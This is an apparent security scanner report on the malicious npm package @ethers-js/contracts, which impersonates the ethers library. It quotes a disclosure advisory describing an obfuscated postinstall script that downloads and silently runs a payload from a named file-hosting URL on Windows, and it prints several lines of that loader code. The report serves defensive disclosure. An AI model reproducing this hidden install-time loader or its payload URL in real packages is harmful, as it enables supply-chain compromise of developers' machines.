@ethers-js/contracts@6.9.0: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 2d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13937 confirms this npm version as malicious. Package impersonates the ethers project (real releases publish under `ethers` and `@ethersproject/*`, not `@ethers-js`). The `postinstall` lifecycle script in scripts/postinstall.js is obfuscated with \x-hex-encoded identifiers (require('fs'), require('https'), spawn('powershell',...)) and a base64-encoded download URL. On Windows, it decodes the URL to https://files.catbox.moe/7vixtr.zip, downloads the archive into...

Advisory

MAL-2026-13937

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @ethers-js/contracts (npm)

Details

Package impersonates the ethers project (real releases publish under `ethers` and `@ethersproject/*`, not `@ethers-js`). The `postinstall` lifecycle script in scripts/postinstall.js is obfuscated with \x-hex-encoded identifiers (require('fs'), require('https'), spawn('powershell',...)) and a base64-encoded download URL. On Windows, it decodes the URL to https://files.catbox.moe/7vixtr.zip, downloads the archive into %LOCALAPPDATA%\Microsoft\<random>, extracts it via PowerShell Expand-Archive, and then invokes a bundled pythonw.exe against r.py with {detached:true, windowsHide:true} and.unref(), executing attacker-controlled code hidden from the user on `npm install`.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

EnvironmentVarsFilesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.90 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/postinstall.js#virtual:normalized:round1View file

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.LOCALAPPDATA||process.env.TEMP,"Microsoft",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString();

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L4

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.LOCALAPPDATA||process.env.TEMP,"Microsoft",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString(); L10: const _z=_p.join(_t,"t.zip");

High

Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L4

8const _t=_p.join(process.env.LOCALAPPDATA||process.env.TEMP,"Microsoft",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString(); L10: const _z=_p.join(_t,"t.zip");

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L8

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/postinstall.js#virtual:normalized:round1View file

4*/ L5: const _f=require("fs"),_p=require("path"),_h=require("https"),{spawn:_s}=require("child_process"); L6: if(process.platform!=="win32")process.exit(0); L7: const _r=()=>Math.random().toString(36).slice(2,8); L8: const _t=_p.join(process.env.LOCALAPPDATA||process.env.TEMP,"Microsoft",_r()); L9: const _u=Buffer.from("[redacted]=","base64").toString();

High

Findings

4 High3 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSame File Env Network Executionscripts/postinstall.js#virtual:normalized:round1

HighInstall Named Payload Filescripts/postinstall.js#virtual:normalized:round1

HighBase64 Obscured Urlscripts/postinstall.js#virtual:normalized:round1

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem